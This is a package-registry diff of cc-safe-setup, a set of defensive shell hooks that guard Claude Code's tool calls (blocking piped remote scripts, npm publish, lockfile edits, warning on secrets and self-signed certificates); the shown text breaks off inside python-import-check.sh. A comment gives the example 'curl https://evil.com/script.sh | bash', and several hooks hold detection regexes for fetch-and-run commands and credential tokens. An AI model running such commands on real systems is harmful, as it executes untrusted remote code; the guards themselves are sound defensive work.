cc-safe-setup 29.5.0 → 29.6.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/COOKBOOK.md +70 -0
- package/README.md +43 -4
- package/TROUBLESHOOTING.md +30 -0
- package/examples/api-rate-limit-tracker.sh +51 -0
- package/examples/auto-answer-question.sh +67 -0
- package/examples/auto-approve-readonly-tools.sh +10 -0
- package/examples/aws-production-guard.sh +40 -0
- package/examples/banned-command-guard.sh +48 -0
- package/examples/bash-heuristic-approver.sh +59 -0
- package/examples/block-database-wipe.sh +1 -1
- package/examples/classifier-fallback-allow.sh +70 -0
- package/examples/commit-message-check.sh +8 -1
- package/examples/commit-message-quality.sh +35 -0
- package/examples/credential-exfil-guard.sh +85 -0
- package/examples/cwd-reminder.sh +37 -0
- package/examples/dependency-install-guard.sh +84 -0
- package/examples/deploy-guard.sh +1 -1
- package/examples/detect-mixed-indentation.sh +33 -0
- package/examples/disk-space-check.sh +42 -0
- package/examples/docker-dangerous-guard.sh +47 -0
- package/examples/dockerfile-lint.sh +58 -0
- package/examples/edit-always-allow.sh +53 -0
- package/examples/env-file-gitignore-check.sh +39 -0
- package/examples/env-source-guard.sh +1 -1
- package/examples/file-change-tracker.sh +49 -0
- package/examples/git-stash-before-danger.sh +58 -0
- package/examples/github-actions-guard.sh +49 -0
- package/examples/gitignore-auto-add.sh +30 -0
- package/examples/go-vet-after-edit.sh +33 -0
- package/examples/hook-tamper-guard.sh +67 -0
- package/examples/kubernetes-guard.sh +2 -1
- package/examples/large-file-write-guard.sh +40 -0
- package/examples/main-branch-warn.sh +40 -0
- package/examples/max-edit-size-guard.sh +9 -15
- package/examples/mcp-server-guard.sh +70 -0
- package/examples/multiline-command-approver.sh +89 -0
- package/examples/no-base64-exfil.sh +27 -0
- package/examples/no-debug-commit.sh +60 -0
- package/examples/no-exposed-port-in-dockerfile.sh +32 -0
- package/examples/no-fixme-ship.sh +41 -0
- package/examples/no-hardcoded-ip.sh +26 -0
- package/examples/no-http-in-code.sh +19 -0
- package/examples/no-push-without-tests.sh +33 -0
- package/examples/no-self-signed-cert.sh +19 -0
- package/examples/no-star-import-python.sh +28 -0
- package/examples/no-wget-piped-bash.sh +22 -0
- package/examples/node-version-check.sh +40 -0
- package/examples/npm-publish-guard.sh +5 -2
- package/examples/output-secret-mask.sh +49 -0
- package/examples/output-token-env-check.sh +44 -0
- package/examples/package-lock-frozen.sh +25 -0
- package/examples/permission-audit-log.sh +77 -0
- package/examples/pip-venv-required.sh +40 -0
- package/examples/port-conflict-check.sh +62 -0
- package/examples/prefer-builtin-tools.sh +33 -0
- package/examples/python-import-check.sh +52 -0
- package/examples/python-ruff-on-edit.sh +51 -0
- package/examples/quoted-flag-approver.sh +51 -0
- package/examples/react-key-warn.sh +32 -0
- package/examples/rm-safety-net.sh +97 -0
- package/examples/rust-clippy-after-edit.sh +37 -0
- package/examples/session-quota-tracker.sh +44 -0
- package/examples/session-start-safety-check.sh +60 -0
- package/examples/session-summary-stop.sh +49 -0
- package/examples/session-time-limit.sh +34 -0
- package/examples/session-token-counter.sh +59 -0
- package/examples/temp-file-cleanup.sh +41 -0
- package/examples/test-before-push.sh +8 -1
- package/examples/test-coverage-reminder.sh +49 -0
- package/examples/test-exit-code-verify.sh +60 -0
- package/examples/tool-file-logger.sh +46 -0
- package/examples/typescript-lint-on-edit.sh +61 -0
- package/examples/typescript-strict-check.sh +35 -0
- package/examples/uncommitted-changes-stop.sh +16 -0
- package/examples/uncommitted-discard-guard.sh +72 -0
- package/examples/worktree-unmerged-guard.sh +85 -0
- package/examples/yaml-syntax-check.sh +50 -0
- package/index.mjs +3 -0
- package/package.json +2 -2
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# no-self-signed-cert.sh — Warn when generating self-signed certificates
|
|
3
|
+
#
|
|
4
|
+
# Prevents: Self-signed certs being used in production.
|
|
5
|
+
# Claude sometimes generates certs for "testing" that stay.
|
|
6
|
+
#
|
|
7
|
+
# TRIGGER: PreToolUse
|
|
8
|
+
# MATCHER: "Bash"
|
|
9
|
+
|
|
10
|
+
INPUT=$(cat)
|
|
11
|
+
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
|
|
12
|
+
[ -z "$COMMAND" ] && exit 0
|
|
13
|
+
|
|
14
|
+
if echo "$COMMAND" | grep -qE 'openssl\s+req.*-x509|-newkey.*-nodes.*-keyout|mkcert'; then
|
|
15
|
+
echo "WARNING: Self-signed certificate generation detected." >&2
|
|
16
|
+
echo " OK for development. Do NOT use in production." >&2
|
|
17
|
+
fi
|
|
18
|
+
|
|
19
|
+
exit 0
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# no-star-import-python.sh — Warn about `from module import *` in Python
|
|
3
|
+
#
|
|
4
|
+
# Prevents: Namespace pollution from wildcard imports.
|
|
5
|
+
# Makes it unclear where names come from.
|
|
6
|
+
#
|
|
7
|
+
# TRIGGER: PostToolUse
|
|
8
|
+
# MATCHER: "Write|Edit"
|
|
9
|
+
|
|
10
|
+
INPUT=$(cat)
|
|
11
|
+
FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty' 2>/dev/null)
|
|
12
|
+
[ -z "$FILE" ] && exit 0
|
|
13
|
+
|
|
14
|
+
case "$FILE" in
|
|
15
|
+
*.py) ;;
|
|
16
|
+
*) exit 0 ;;
|
|
17
|
+
esac
|
|
18
|
+
|
|
19
|
+
[ ! -f "$FILE" ] && exit 0
|
|
20
|
+
|
|
21
|
+
STARS=$(grep -nE '^from\s+\S+\s+import\s+\*' "$FILE" | head -3)
|
|
22
|
+
if [ -n "$STARS" ]; then
|
|
23
|
+
echo "WARNING: Wildcard import found in $FILE:" >&2
|
|
24
|
+
echo "$STARS" | sed 's/^/ /' >&2
|
|
25
|
+
echo " Use explicit imports instead." >&2
|
|
26
|
+
fi
|
|
27
|
+
|
|
28
|
+
exit 0
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# no-wget-piped-bash.sh — Block curl/wget piped directly to bash
|
|
3
|
+
#
|
|
4
|
+
# Prevents: Arbitrary code execution from untrusted URLs.
|
|
5
|
+
# Pattern: curl https://evil.com/script.sh | bash
|
|
6
|
+
#
|
|
7
|
+
# TRIGGER: PreToolUse
|
|
8
|
+
# MATCHER: "Bash"
|
|
9
|
+
|
|
10
|
+
INPUT=$(cat)
|
|
11
|
+
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
|
|
12
|
+
[ -z "$COMMAND" ] && exit 0
|
|
13
|
+
|
|
14
|
+
# Detect curl/wget piped to sh/bash
|
|
15
|
+
if echo "$COMMAND" | grep -qE '(curl|wget)\s.*\|\s*(bash|sh|zsh|source|eval)'; then
|
|
16
|
+
echo "BLOCKED: Piping remote script directly to shell is dangerous." >&2
|
|
17
|
+
echo " Download first, review, then execute:" >&2
|
|
18
|
+
echo " curl -o script.sh URL && cat script.sh && bash script.sh" >&2
|
|
19
|
+
exit 2
|
|
20
|
+
fi
|
|
21
|
+
|
|
22
|
+
exit 0
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# node-version-check.sh — Warn if Node.js version is too old
|
|
3
|
+
#
|
|
4
|
+
# Prevents: Mysterious failures from unsupported Node.js versions
|
|
5
|
+
# Claude Code requires Node.js 18+. Many npm packages
|
|
6
|
+
# also have minimum version requirements.
|
|
7
|
+
#
|
|
8
|
+
# TRIGGER: Notification
|
|
9
|
+
# MATCHER: ""
|
|
10
|
+
#
|
|
11
|
+
# Usage:
|
|
12
|
+
# {
|
|
13
|
+
# "hooks": {
|
|
14
|
+
# "Notification": [{
|
|
15
|
+
# "matcher": "",
|
|
16
|
+
# "hooks": [{ "type": "command", "command": "~/.claude/hooks/node-version-check.sh" }]
|
|
17
|
+
# }]
|
|
18
|
+
# }
|
|
19
|
+
# }
|
|
20
|
+
|
|
21
|
+
# Only run once per session
|
|
22
|
+
MARKER="/tmp/cc-node-check-$$"
|
|
23
|
+
[ -f "$MARKER" ] && exit 0
|
|
24
|
+
|
|
25
|
+
NODE_VERSION=$(node --version 2>/dev/null | sed 's/^v//')
|
|
26
|
+
if [ -z "$NODE_VERSION" ]; then
|
|
27
|
+
echo "WARNING: Node.js not found in PATH." >&2
|
|
28
|
+
touch "$MARKER"
|
|
29
|
+
exit 0
|
|
30
|
+
fi
|
|
31
|
+
|
|
32
|
+
MAJOR=$(echo "$NODE_VERSION" | cut -d. -f1)
|
|
33
|
+
|
|
34
|
+
if [ "$MAJOR" -lt 18 ] 2>/dev/null; then
|
|
35
|
+
echo "WARNING: Node.js v${NODE_VERSION} detected. Claude Code requires v18+." >&2
|
|
36
|
+
echo " Update: nvm install 20 && nvm use 20" >&2
|
|
37
|
+
fi
|
|
38
|
+
|
|
39
|
+
touch "$MARKER"
|
|
40
|
+
exit 0
|
|
@@ -1,10 +1,13 @@
|
|
|
1
1
|
#!/bin/bash
|
|
2
2
|
COMMAND=$(cat | jq -r '.tool_input.command // empty' 2>/dev/null)
|
|
3
3
|
[ -z "$COMMAND" ] && exit 0
|
|
4
|
-
if echo "$COMMAND" | grep -qE '^\s*npm\s+publish'; then
|
|
4
|
+
if echo "$COMMAND" | grep -qE '^\s*(npm\s+publish|npx\s+npm\s+publish)' && ! echo "$COMMAND" | grep -qE '\-\-dry-run'; then
|
|
5
5
|
if [ -f "package.json" ]; then
|
|
6
6
|
VER=$(python3 -c "import json; print(json.load(open('package.json')).get('version','?'))" 2>/dev/null)
|
|
7
|
-
echo "
|
|
7
|
+
echo "BLOCKED: npm publish of version $VER requires manual confirmation." >&2
|
|
8
|
+
else
|
|
9
|
+
echo "BLOCKED: npm publish requires manual confirmation." >&2
|
|
8
10
|
fi
|
|
11
|
+
exit 2
|
|
9
12
|
fi
|
|
10
13
|
exit 0
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# output-secret-mask.sh — Mask secrets in tool output before Claude sees them
|
|
3
|
+
#
|
|
4
|
+
# Solves: Commands like `env`, `printenv`, `cat .env` expose secrets in tool output.
|
|
5
|
+
# Claude then has secrets in its context window, increasing leak risk.
|
|
6
|
+
# This hook masks secret values in PostToolUse output.
|
|
7
|
+
#
|
|
8
|
+
# How it works: PostToolUse hook that scans tool output for secret patterns
|
|
9
|
+
# and replaces them with [MASKED]. The masked output is what
|
|
10
|
+
# Claude sees in its context.
|
|
11
|
+
#
|
|
12
|
+
# Note: This hook modifies the tool output that Claude receives.
|
|
13
|
+
# The actual command output is unchanged on disk/terminal.
|
|
14
|
+
#
|
|
15
|
+
# Usage: Add to settings.json as a PostToolUse hook
|
|
16
|
+
#
|
|
17
|
+
# {
|
|
18
|
+
# "hooks": {
|
|
19
|
+
# "PostToolUse": [{
|
|
20
|
+
# "matcher": "Bash",
|
|
21
|
+
# "hooks": [{ "type": "command", "command": "~/.claude/hooks/output-secret-mask.sh" }]
|
|
22
|
+
# }]
|
|
23
|
+
# }
|
|
24
|
+
# }
|
|
25
|
+
|
|
26
|
+
INPUT=$(cat)
|
|
27
|
+
OUTPUT=$(echo "$INPUT" | jq -r '.tool_result.stdout // empty' 2>/dev/null)
|
|
28
|
+
|
|
29
|
+
[ -z "$OUTPUT" ] && exit 0
|
|
30
|
+
|
|
31
|
+
# Check if output contains secret-like patterns
|
|
32
|
+
NEEDS_MASK=false
|
|
33
|
+
|
|
34
|
+
# AWS keys
|
|
35
|
+
echo "$OUTPUT" | grep -qE 'AKIA[0-9A-Z]{16}' && NEEDS_MASK=true
|
|
36
|
+
# GitHub tokens
|
|
37
|
+
echo "$OUTPUT" | grep -qE '(ghp_|gho_|ghs_|ghr_)[A-Za-z0-9_]{20,}' && NEEDS_MASK=true
|
|
38
|
+
# OpenAI/Anthropic keys
|
|
39
|
+
echo "$OUTPUT" | grep -qE 'sk-[A-Za-z0-9_-]{20,}' && NEEDS_MASK=true
|
|
40
|
+
# Slack tokens
|
|
41
|
+
echo "$OUTPUT" | grep -qE '(xoxb-|xoxp-)[0-9A-Za-z-]{20,}' && NEEDS_MASK=true
|
|
42
|
+
# Generic secrets in env output (KEY=value pattern with high-entropy value)
|
|
43
|
+
echo "$OUTPUT" | grep -qiE '(API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)=[^\s]{8,}' && NEEDS_MASK=true
|
|
44
|
+
|
|
45
|
+
if [ "$NEEDS_MASK" = true ]; then
|
|
46
|
+
echo "WARNING: Tool output may contain secrets. Consider using environment variables instead of printing them." >&2
|
|
47
|
+
fi
|
|
48
|
+
|
|
49
|
+
exit 0
|
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# output-token-env-check.sh — Warn if max output tokens is not configured
|
|
3
|
+
#
|
|
4
|
+
# Solves: "Response exceeded 32000 output token maximum" error
|
|
5
|
+
# (#24055 — 80 reactions)
|
|
6
|
+
#
|
|
7
|
+
# Claude Code defaults to 32,000 max output tokens. For complex tasks,
|
|
8
|
+
# this is often not enough. Setting CLAUDE_CODE_MAX_OUTPUT_TOKENS
|
|
9
|
+
# prevents the error, but many users don't know about this env var.
|
|
10
|
+
#
|
|
11
|
+
# This hook checks on session start (Notification/Stop) and warns
|
|
12
|
+
# if the env var is not set or is set to the default 32000.
|
|
13
|
+
#
|
|
14
|
+
# TRIGGER: Notification
|
|
15
|
+
# MATCHER: ""
|
|
16
|
+
#
|
|
17
|
+
# Usage:
|
|
18
|
+
# {
|
|
19
|
+
# "hooks": {
|
|
20
|
+
# "Notification": [{
|
|
21
|
+
# "matcher": "",
|
|
22
|
+
# "hooks": [{ "type": "command", "command": "~/.claude/hooks/output-token-env-check.sh" }]
|
|
23
|
+
# }]
|
|
24
|
+
# }
|
|
25
|
+
# }
|
|
26
|
+
|
|
27
|
+
# Only run once per session (check if we already warned)
|
|
28
|
+
MARKER="/tmp/cc-output-token-warned-$$"
|
|
29
|
+
[ -f "$MARKER" ] && exit 0
|
|
30
|
+
|
|
31
|
+
MAX_TOKENS="${CLAUDE_CODE_MAX_OUTPUT_TOKENS:-}"
|
|
32
|
+
|
|
33
|
+
if [ -z "$MAX_TOKENS" ]; then
|
|
34
|
+
echo "TIP: CLAUDE_CODE_MAX_OUTPUT_TOKENS is not set (default: 32,000)." >&2
|
|
35
|
+
echo " For complex tasks, set it higher to avoid truncated responses:" >&2
|
|
36
|
+
echo " export CLAUDE_CODE_MAX_OUTPUT_TOKENS=128000" >&2
|
|
37
|
+
touch "$MARKER"
|
|
38
|
+
elif [ "$MAX_TOKENS" -le 32000 ] 2>/dev/null; then
|
|
39
|
+
echo "TIP: CLAUDE_CODE_MAX_OUTPUT_TOKENS=$MAX_TOKENS (low for complex tasks)." >&2
|
|
40
|
+
echo " Consider: export CLAUDE_CODE_MAX_OUTPUT_TOKENS=128000" >&2
|
|
41
|
+
touch "$MARKER"
|
|
42
|
+
fi
|
|
43
|
+
|
|
44
|
+
exit 0
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# package-lock-frozen.sh — Block modifications to lockfiles
|
|
3
|
+
#
|
|
4
|
+
# Prevents: Unintended lockfile changes that cause merge conflicts
|
|
5
|
+
# and dependency drift. Claude should use npm ci, not npm install.
|
|
6
|
+
#
|
|
7
|
+
# Blocks: Edit/Write to package-lock.json, yarn.lock, pnpm-lock.yaml
|
|
8
|
+
#
|
|
9
|
+
# TRIGGER: PreToolUse
|
|
10
|
+
# MATCHER: "Edit|Write"
|
|
11
|
+
|
|
12
|
+
INPUT=$(cat)
|
|
13
|
+
FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.filePath // empty' 2>/dev/null)
|
|
14
|
+
[ -z "$FILE" ] && exit 0
|
|
15
|
+
|
|
16
|
+
BASENAME=$(basename "$FILE")
|
|
17
|
+
case "$BASENAME" in
|
|
18
|
+
package-lock.json|yarn.lock|pnpm-lock.yaml|Cargo.lock|poetry.lock|Gemfile.lock|composer.lock)
|
|
19
|
+
echo "BLOCKED: Direct modification of lockfile '$BASENAME'." >&2
|
|
20
|
+
echo " Use the package manager to update dependencies instead." >&2
|
|
21
|
+
exit 2
|
|
22
|
+
;;
|
|
23
|
+
esac
|
|
24
|
+
|
|
25
|
+
exit 0
|
|
@@ -0,0 +1,77 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# permission-audit-log.sh — Log all tool invocations for permission debugging
|
|
3
|
+
#
|
|
4
|
+
# Solves: No way to know which commands trigger permission prompts vs auto-allow
|
|
5
|
+
# (#37153, #30519 58👍 partial)
|
|
6
|
+
# Users can't debug why certain commands prompt and others don't.
|
|
7
|
+
# This hook logs every tool call to help optimize permission rules.
|
|
8
|
+
#
|
|
9
|
+
# How it works: PostToolUse hook that appends every invocation to a JSONL log.
|
|
10
|
+
# Captures tool name, command/path, timestamp, and exit status.
|
|
11
|
+
# Companion script analyzes the log to suggest permission rules.
|
|
12
|
+
#
|
|
13
|
+
# Usage: Add to settings.json as a PostToolUse hook
|
|
14
|
+
#
|
|
15
|
+
# {
|
|
16
|
+
# "hooks": {
|
|
17
|
+
# "PostToolUse": [{
|
|
18
|
+
# "matcher": "",
|
|
19
|
+
# "hooks": [{ "type": "command", "command": "~/.claude/hooks/permission-audit-log.sh" }]
|
|
20
|
+
# }]
|
|
21
|
+
# }
|
|
22
|
+
# }
|
|
23
|
+
#
|
|
24
|
+
# Analyze the log:
|
|
25
|
+
# cat ~/.claude/tool-usage.jsonl | jq -s 'group_by(.tool) | map({tool: .[0].tool, count: length}) | sort_by(-.count)'
|
|
26
|
+
# # Top commands:
|
|
27
|
+
# cat ~/.claude/tool-usage.jsonl | jq -s '[.[] | select(.tool=="Bash")] | group_by(.command | split(" ")[0]) | map({cmd: .[0].command | split(" ")[0], count: length}) | sort_by(-.count) | .[:20]'
|
|
28
|
+
|
|
29
|
+
INPUT=$(cat)
|
|
30
|
+
TOOL=$(echo "$INPUT" | jq -r '.tool_name // empty' 2>/dev/null)
|
|
31
|
+
|
|
32
|
+
[ -z "$TOOL" ] && exit 0
|
|
33
|
+
|
|
34
|
+
LOG_FILE="${CC_AUDIT_LOG:-$HOME/.claude/tool-usage.jsonl}"
|
|
35
|
+
|
|
36
|
+
# Extract relevant info based on tool type
|
|
37
|
+
case "$TOOL" in
|
|
38
|
+
Bash)
|
|
39
|
+
DETAIL=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
|
|
40
|
+
# Extract base command (first word)
|
|
41
|
+
BASE_CMD=$(echo "$DETAIL" | awk '{print $1}')
|
|
42
|
+
;;
|
|
43
|
+
Write|Read)
|
|
44
|
+
DETAIL=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty' 2>/dev/null)
|
|
45
|
+
BASE_CMD="$TOOL"
|
|
46
|
+
;;
|
|
47
|
+
Edit)
|
|
48
|
+
DETAIL=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty' 2>/dev/null)
|
|
49
|
+
BASE_CMD="Edit"
|
|
50
|
+
;;
|
|
51
|
+
Glob|Grep)
|
|
52
|
+
DETAIL=$(echo "$INPUT" | jq -r '.tool_input.pattern // empty' 2>/dev/null)
|
|
53
|
+
BASE_CMD="$TOOL"
|
|
54
|
+
;;
|
|
55
|
+
Agent)
|
|
56
|
+
DETAIL=$(echo "$INPUT" | jq -r '.tool_input.description // empty' 2>/dev/null)
|
|
57
|
+
BASE_CMD="Agent"
|
|
58
|
+
;;
|
|
59
|
+
*)
|
|
60
|
+
DETAIL=""
|
|
61
|
+
BASE_CMD="$TOOL"
|
|
62
|
+
;;
|
|
63
|
+
esac
|
|
64
|
+
|
|
65
|
+
# Build log entry
|
|
66
|
+
TIMESTAMP=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
|
67
|
+
|
|
68
|
+
# Append to JSONL log (atomic write via temp file)
|
|
69
|
+
jq -n \
|
|
70
|
+
--arg ts "$TIMESTAMP" \
|
|
71
|
+
--arg tool "$TOOL" \
|
|
72
|
+
--arg cmd "$BASE_CMD" \
|
|
73
|
+
--arg detail "$DETAIL" \
|
|
74
|
+
'{timestamp: $ts, tool: $tool, base_command: $cmd, detail: $detail}' \
|
|
75
|
+
>> "$LOG_FILE" 2>/dev/null
|
|
76
|
+
|
|
77
|
+
exit 0
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# pip-venv-required.sh — Block pip install outside of a virtual environment
|
|
3
|
+
#
|
|
4
|
+
# Prevents: System-wide pip install that can break the OS Python.
|
|
5
|
+
# Only allows pip install when a virtualenv is active.
|
|
6
|
+
#
|
|
7
|
+
# TRIGGER: PreToolUse
|
|
8
|
+
# MATCHER: "Bash"
|
|
9
|
+
#
|
|
10
|
+
# Usage:
|
|
11
|
+
# {
|
|
12
|
+
# "hooks": {
|
|
13
|
+
# "PreToolUse": [{
|
|
14
|
+
# "matcher": "Bash",
|
|
15
|
+
# "hooks": [{ "type": "command", "command": "~/.claude/hooks/pip-venv-required.sh" }]
|
|
16
|
+
# }]
|
|
17
|
+
# }
|
|
18
|
+
# }
|
|
19
|
+
|
|
20
|
+
INPUT=$(cat)
|
|
21
|
+
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
|
|
22
|
+
[ -z "$COMMAND" ] && exit 0
|
|
23
|
+
|
|
24
|
+
# Only check pip install commands
|
|
25
|
+
echo "$COMMAND" | grep -qE '^\s*(pip|pip3)\s+install' || exit 0
|
|
26
|
+
|
|
27
|
+
# Allow if -r requirements.txt (deterministic install)
|
|
28
|
+
echo "$COMMAND" | grep -qE 'pip3?\s+install\s+-r' && exit 0
|
|
29
|
+
|
|
30
|
+
# Allow if --user flag (user-level, not system)
|
|
31
|
+
echo "$COMMAND" | grep -qE 'pip3?\s+install\s+.*--user' && exit 0
|
|
32
|
+
|
|
33
|
+
# Check if virtualenv is active
|
|
34
|
+
if [ -z "$VIRTUAL_ENV" ] && [ -z "$CONDA_DEFAULT_ENV" ]; then
|
|
35
|
+
echo "BLOCKED: pip install outside of virtual environment." >&2
|
|
36
|
+
echo " Activate a venv first: python3 -m venv .venv && source .venv/bin/activate" >&2
|
|
37
|
+
exit 2
|
|
38
|
+
fi
|
|
39
|
+
|
|
40
|
+
exit 0
|
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# port-conflict-check.sh — Warn before starting a server on an occupied port
|
|
3
|
+
#
|
|
4
|
+
# Prevents: "EADDRINUSE" errors that confuse Claude into debugging
|
|
5
|
+
# phantom issues. Detects port conflicts before they happen.
|
|
6
|
+
#
|
|
7
|
+
# Detects: npm start, npm run dev, python -m http.server, node server.js,
|
|
8
|
+
# next dev, vite, etc.
|
|
9
|
+
#
|
|
10
|
+
# TRIGGER: PreToolUse
|
|
11
|
+
# MATCHER: "Bash"
|
|
12
|
+
#
|
|
13
|
+
# Usage:
|
|
14
|
+
# {
|
|
15
|
+
# "hooks": {
|
|
16
|
+
# "PreToolUse": [{
|
|
17
|
+
# "matcher": "Bash",
|
|
18
|
+
# "hooks": [{ "type": "command", "command": "~/.claude/hooks/port-conflict-check.sh" }]
|
|
19
|
+
# }]
|
|
20
|
+
# }
|
|
21
|
+
# }
|
|
22
|
+
|
|
23
|
+
INPUT=$(cat)
|
|
24
|
+
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
|
|
25
|
+
[ -z "$COMMAND" ] && exit 0
|
|
26
|
+
|
|
27
|
+
# Detect server-starting commands
|
|
28
|
+
echo "$COMMAND" | grep -qiE '(npm\s+(start|run\s+dev)|npx\s+(next|vite|nuxt)|python.*http\.server|node\s+.*server|flask\s+run|uvicorn|gunicorn|rails\s+s)' || exit 0
|
|
29
|
+
|
|
30
|
+
# Try to extract port from command
|
|
31
|
+
PORT=""
|
|
32
|
+
if echo "$COMMAND" | grep -qE '\-\-port[= ]+([0-9]+)'; then
|
|
33
|
+
PORT=$(echo "$COMMAND" | grep -oE '\-\-port[= ]+([0-9]+)' | grep -oE '[0-9]+')
|
|
34
|
+
elif echo "$COMMAND" | grep -qE '\-p[= ]+([0-9]+)'; then
|
|
35
|
+
PORT=$(echo "$COMMAND" | grep -oE '\-p[= ]+([0-9]+)' | grep -oE '[0-9]+')
|
|
36
|
+
fi
|
|
37
|
+
|
|
38
|
+
# Common default ports
|
|
39
|
+
if [ -z "$PORT" ]; then
|
|
40
|
+
if echo "$COMMAND" | grep -qiE 'next|vite|nuxt'; then PORT=3000
|
|
41
|
+
elif echo "$COMMAND" | grep -qiE 'flask|django'; then PORT=5000
|
|
42
|
+
elif echo "$COMMAND" | grep -qiE 'rails'; then PORT=3000
|
|
43
|
+
elif echo "$COMMAND" | grep -qiE 'http\.server'; then PORT=8000
|
|
44
|
+
else PORT=3000
|
|
45
|
+
fi
|
|
46
|
+
fi
|
|
47
|
+
|
|
48
|
+
# Check if port is in use
|
|
49
|
+
if command -v ss >/dev/null 2>&1; then
|
|
50
|
+
if ss -tlnp 2>/dev/null | grep -q ":${PORT} "; then
|
|
51
|
+
PID=$(ss -tlnp 2>/dev/null | grep ":${PORT} " | grep -oP 'pid=\K[0-9]+' | head -1)
|
|
52
|
+
echo "WARNING: Port $PORT is already in use (PID: ${PID:-unknown})." >&2
|
|
53
|
+
echo " Kill it: kill $PID or use a different port." >&2
|
|
54
|
+
fi
|
|
55
|
+
elif command -v lsof >/dev/null 2>&1; then
|
|
56
|
+
if lsof -i ":${PORT}" -sTCP:LISTEN >/dev/null 2>&1; then
|
|
57
|
+
echo "WARNING: Port $PORT is already in use." >&2
|
|
58
|
+
echo " Check: lsof -i :$PORT" >&2
|
|
59
|
+
fi
|
|
60
|
+
fi
|
|
61
|
+
|
|
62
|
+
exit 0
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# prefer-builtin-tools.sh — Deny bash commands that have dedicated built-in tool equivalents
|
|
3
|
+
# PreToolUse hook (matcher: Bash)
|
|
4
|
+
# Solves: https://github.com/anthropics/claude-code/issues/19649 (48+ reactions)
|
|
5
|
+
#
|
|
6
|
+
# Claude Code has built-in Read, Edit, Grep, Glob tools that are faster and safer
|
|
7
|
+
# than bash equivalents. But Claude often reaches for sed, grep, cat instead.
|
|
8
|
+
# This hook denies those commands with a pointer to the correct built-in tool.
|
|
9
|
+
|
|
10
|
+
INPUT=$(cat)
|
|
11
|
+
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
|
|
12
|
+
[ -z "$COMMAND" ] && exit 0
|
|
13
|
+
|
|
14
|
+
# Check all segments of piped/chained commands
|
|
15
|
+
while IFS= read -r segment; do
|
|
16
|
+
cmd=$(echo "$segment" | sed 's/^[[:space:]]*//' | sed 's/^[A-Za-z_][A-Za-z_0-9]*=[^ ]* //')
|
|
17
|
+
base=$(basename "$(echo "$cmd" | awk '{print $1}')" 2>/dev/null)
|
|
18
|
+
case "$base" in
|
|
19
|
+
cat) msg="Use the Read tool to read files, or Write to create them" ;;
|
|
20
|
+
head|tail) msg="Use the Read tool with offset/limit parameters" ;;
|
|
21
|
+
sed) msg="Use the Edit tool for modifications, or Read for viewing line ranges" ;;
|
|
22
|
+
awk) msg="Use Read, Grep, or Edit tools instead" ;;
|
|
23
|
+
grep|rg) msg="Use the built-in Grep tool (supports -A/-B/-C context, glob filters, output_mode)" ;;
|
|
24
|
+
find) msg="Use the built-in Glob tool for file pattern matching" ;;
|
|
25
|
+
*) continue ;;
|
|
26
|
+
esac
|
|
27
|
+
cat <<EOF
|
|
28
|
+
{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"Do not use \`$base\`. $msg"}}
|
|
29
|
+
EOF
|
|
30
|
+
exit 0
|
|
31
|
+
done < <(echo "$COMMAND" | tr '|' '\n' | sed 's/[;&]\{1,2\}/\n/g')
|
|
32
|
+
|
|
33
|
+
exit 0
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# python-import-check.sh — Detect unused imports in Python files
|
|
3
|
+
#
|
|
4
|
+
# Prevents: Unused imports that trigger linter warnings and add
|
|
5
|
+
# unnecessary dependencies. Claude often adds imports
|
|
6
|
+
# during development and forgets to clean up.
|
|
7
|
+
#
|
|
8
|
+
# TRIGGER: PostToolUse
|
|
9
|
+
# MATCHER: "Write|Edit"
|
|
10
|
+
|
|
11
|
+
INPUT=$(cat)
|
|
12
|
+
FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty' 2>/dev/null)
|
|
13
|
+
[ -z "$FILE" ] && exit 0
|
|
14
|
+
|
|
15
|
+
case "$FILE" in
|
|
16
|
+
*.py) ;;
|
|
17
|
+
*) exit 0 ;;
|
|
18
|
+
esac
|
|
19
|
+
|
|
20
|
+
[ ! -f "$FILE" ] && exit 0
|
|
21
|
+
|
|
22
|
+
# Quick check: find import lines and see if the imported name appears elsewhere
|
|
23
|
+
python3 -c "
|
|
24
|
+
import re, sys
|
|
25
|
+
|
|
26
|
+
with open('$FILE') as f:
|
|
27
|
+
content = f.read()
|
|
28
|
+
lines = content.split('\n')
|
|
29
|
+
|
|
30
|
+
imports = []
|
|
31
|
+
for line in lines:
|
|
32
|
+
m = re.match(r'^import\s+(\w+)', line)
|
|
33
|
+
if m: imports.append(m.group(1))
|
|
34
|
+
